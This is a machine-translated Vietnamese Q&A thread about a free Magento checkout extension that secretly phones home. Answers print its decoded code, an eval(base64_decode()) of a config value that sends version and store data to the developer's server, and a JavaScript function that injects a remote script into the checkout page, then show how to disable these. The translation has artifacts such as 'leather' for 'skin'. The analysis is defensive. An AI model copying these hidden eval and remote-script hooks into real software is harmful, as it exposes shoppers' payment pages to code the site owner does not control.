Các giá trị ẩn trong tiện ích mở rộng - mã hóa giải mã dữ liệu giao dịch


7

Tôi tìm thấy một phần mở rộng thú vị cho onepagecheckout. Nó có vẻ là miễn phí nhưng khi tôi cài đặt tiện ích mở rộng, tôi nhận ra rằng mã đang gửi và mã hóa dữ liệu đến các máy chủ của nhà phát triển. Về lý thuyết, nó xác nhận giá trị giấy phép - Tôi không biết tại sao vì nó miễn phí, ngoài ra trang web không nói gì về giá trị ẩn đó được chuyển đến máy chủ của họ nhưng .. OK. - nó miễn phí.

Dựa trên thực tế là khu vực cụ thể này quản lý thông tin về thẻ tín dụng, tôi muốn biết chúng đang vượt qua những giá trị nào. Trong nghiên cứu của tôi, tôi thấy rằng mã gửi đến máy chủ của họ nằm trong một dòng được gọi id=opc_s_datavới một lệnh gọi đến:

public function getSUrl($mode = '') {
    $code = Mage::getStoreConfig('onepagecheckout/sdatacode');
    eval(base64_decode($code));
    if(!isset($url))
        $url = '';
    return $url;
}

và giá trị được gửi là một cái gì đó như:

<input type='hidden' id='opc_s_data'
    value='http://company.com/magento/opclicense/opcaction.php?sdata=bWFEuN......=='/

Có ai biết tôi có thể làm gì để giải mã thông tin được gửi đến ứng dụng của tôi từ máy chủ của họ không? Nếu tôi xóa ID ẩn này thì onepagecheckout không hoạt động.

Tuyên bố miễn trừ trách nhiệm: Tôi đã viết thư cho nhà phát triển nhưng tôi không bao giờ nhận được phản hồi.

Câu trả lời:


16

Trước hết tôi muốn nói rằng đây là một cách làm xấu xí. Có lẽ là xấu nhất. Nếu bạn không muốn thêm tên công ty vào đây thì tôi sẽ làm. Đó là nội thấtwebdesign.com . Rất có thể những thứ được gửi đến máy chủ của họ là phiên bản magento, phiên bản mở rộng và url của trang web của bạn. Bạn có thể kiểm tra chắc chắn bằng cách thực hiện base64_decodetrên giá trị của sdatatham số được gửi cho họ. Tôi không biết câu trả lời sẽ là gì nếu giấy phép của bạn là chính xác, nhưng trong trường hợp có lỗi thì đây là phản hồi:

checkout.o_p_c_l_s = '2';
deljsphp();

Tìm trong mã cho một chức năng được gọi là deljsphp. Tôi nghĩ rằng vô hiệu hóa kiểm tra của bạn.

[EDIT]
Bởi vì tôi phát điên khi thấy những loại tiện ích mở rộng này, tôi quyết định lãng phí thời gian để điều tra.
Đây là những gì tôi tìm thấy. Kết quả của yêu cầu phải là một liên kết đến tệp js hoặc một số mã js trên máy chủ của họ. Sau khi giải mã tập tin js từ phần mở rộng, tôi tìm thấy hàm này:

start: function () {
    this.s_code = $('opc_s_data').value;
    $('opc_s_data').remove();
    if (this.s_code == '') {
        this.opcdis();
        return false
    }
    addjsphp(this.s_code);
    this.getActionResults(0)
},

vì vậy nếu mã 'giấy phép' hợp lệ, một số js được thêm vào DOM thông qua addjsphpnhư thế này:

function addjsphp(u) {
    var me = document.createElement('div');
    me.setAttribute('id', 'opcstataj');
    var p = 'html';
    var th1 = document.getElementsByTagName(p)[0];
    th1.appendChild(me);
    var th = document.getElementById('opcstataj');
    var s = document.createElement('script');
    s.setAttribute('language', 'javascript');
    s.setAttribute('type', 'text/javascript');
    s.setAttribute('src', u);
    th.appendChild(s)
}

Tôi không biết (các) js từ máy chủ của họ sẽ trông như thế nào, nhưng đây là những gì bạn có thể thử. Không chắc chắn nếu nó hoạt động. Chỉnh sửa tệp js skin\frontend\base\default\js\onepagecheckout.pack.jsvà ở cuối tệp thêm này:

function deljsphp(){
    return 1;
}

Điều này sẽ ghi đè deljsphpchức năng ban đầu , bằng cách này trông như thế này:

function deljsphp() {
    var th = $('opcstataj');
    if (th && th != null && th != undefined) th.remove()
}

Về cơ bản, nó loại bỏ các <script>thẻ được thêm vào từ máy chủ của họ.

Thông tin khác Mã đang được đánh giá trong dòng bạn đã đề cập trong câu hỏi này là:

eval (gzinflate (base64_decode ( 'jZAxb8MgEIXn + FfQCBl7qL1UHRLRDFGkLlWjOM0SVRHBV4NqwIKLqqrKfy84S9MuXeDgcd97BzWiI5xQVDrcPnSAT6IDi24HPmhni3KeUePaqyfP6 + VPWV2Jy5Nv0Hl48X1UJ5OMhqhPow3 / onE95xGXSteec2WFgXhQ51xIjEAuFcj3aaS2AkVsPIoA93cHsNK1UNAwGiZicQNmwM + CHprVZrfa7Nnjdrtu2GtJ8pz8ueWcM2dZuWAKcQhsNu4s0k6 + TwOoULFZXWuL4LXzH3BsIejOVtKZ2lw + pXaD7LUEGyCVl8jVoIZFSHE5q8bY80y / FWlAIJwThhCQlb + NeidFr1zA / 0K / AQ ==')));

Đi xa hơn ... đây là mã thực sự được đánh giá:

$mag = $this->getMagentoVersion(); 
$mod = $this->getOPCVersion(); 
$h = $this->getCurStoreUrl(); 
$s = "mag={$mag}&mod={$mod}&hname={$h}&action=check"; 
$data = base64_encode($s); 
$hs = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on')?'https':'http'; 
$url = $hs.'://interiorwebdesign.com/magento/opclicense/opcaction.php?sdata='.$data; 
if($mode == 'test') 
    $url = $hs.'://localhost/opclicense/opcaction.php?sdata='.$data;

Điều này xác nhận những nghi ngờ ban đầu của tôi về những gì được gửi đến máy chủ của họ.


cảm ơn bạn rất nhiều @Marius. phân tích tuyệt vời, tôi sẽ kiểm tra mã của tôi. Tôi tránh đặt tên của họ bởi vì đó là lựa chọn của họ, điều mà tôi thấy xấu xí là họ không nói cho mọi người biết thông tin này được giao dịch và đối với những người như tôi không giỏi về mã hóa, nó khó hiểu. Một lần nữa, cảm ơn bạn rất nhiều.!
s_h

Ngoài ra, phần mở rộng miễn phí đó không cấp giấy phép để xác nhận. không có chỗ trong mã yêu cầu đặt giấy phép .. brgds
s_h

Bạn có chắc rằng chuỗi Base64 có thể được cập nhật từ xa không? Bởi vì lần trước tôi đã kiểm tra mã tôi đã thấy một cái gì đó như thế này.
giraff

@giraff. Thật ra tôi không chắc, nhưng tôi đã viết những gì tôi tìm thấy
Marius

Xin chào tất cả, trong các phiên bản gần đây của mô-đun này, chúng ta có cùng mã "độc hại" không?
Simbus82

4

Marius, Cảm ơn đã điều tra. Tôi cũng vậy, rất không thích và không khuyến khích những người tạo mô-đun magento quảng cáo các loại "cuộc gọi điện thoại tại nhà" này đến các tiện ích mở rộng của họ. Họ nên được tiếp xúc và diệt trừ.

Để vô hiệu hóa cuộc gọi tại nhà của điện thoại và giữ cho tiện ích mở rộng onepagecheckout của bạn hoạt động (vâng, họ có thể vô hiệu hóa nó) làm như sau.

Sao chép tệp / leather / frontend / base / default / js / onepagecheckout.pack.js vào thư mục chủ đề của bạn / js / onepagecheckout.pack.js và làm đẹp mã bằng một trang web như: http://jsbeautifier.org/

Bây giờ xung quanh dòng: 244 trong phương thức bắt đầu Bạn sẽ thấy

addjsphp(this.s_code);
this.getActionResults(0)

thay đổi nó thành

//addjsphp(this.s_code);
//this.getActionResults(0)

Điều này sẽ ngăn tập lệnh luôn luôn gọi điện về nhà đến trang web chậm của họ và sẽ ngăn tập lệnh đó hành động đối với kết quả mã

Điều này sẽ làm việc, nhưng kiểm tra nó trước khi bạn tung nó ra. Đó là kiểm tra của bạn sau khi tất cả


Cảm ơn người đẹp hơn. Tôi cần phải thay đổi rất nhiều JS trong kịch bản này để cá nhân hóa trang và thực sự bị mắc kẹt bởi điều gói.
hellimac

1

Tôi muốn nói rằng regular code was just about to collect information on what version was used by our clients. No other information was collected.

Chúng tôi cũng đã xóa phiên bản đó kể từ phiên bản 3, vì was released like about 1.5 years ago.vậy, nếu bạn sử dụng phiên bản 2 vẫn còn, đã đến lúc bạn nâng cấp lên phiên bản 4.x


cám ơn bạn đã góp ý. thật kỳ lạ khi tìm thấy mã đó trong khu vực thanh toán. Tôi đã hỏi câu hỏi này gần hai năm trước.
s_h
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.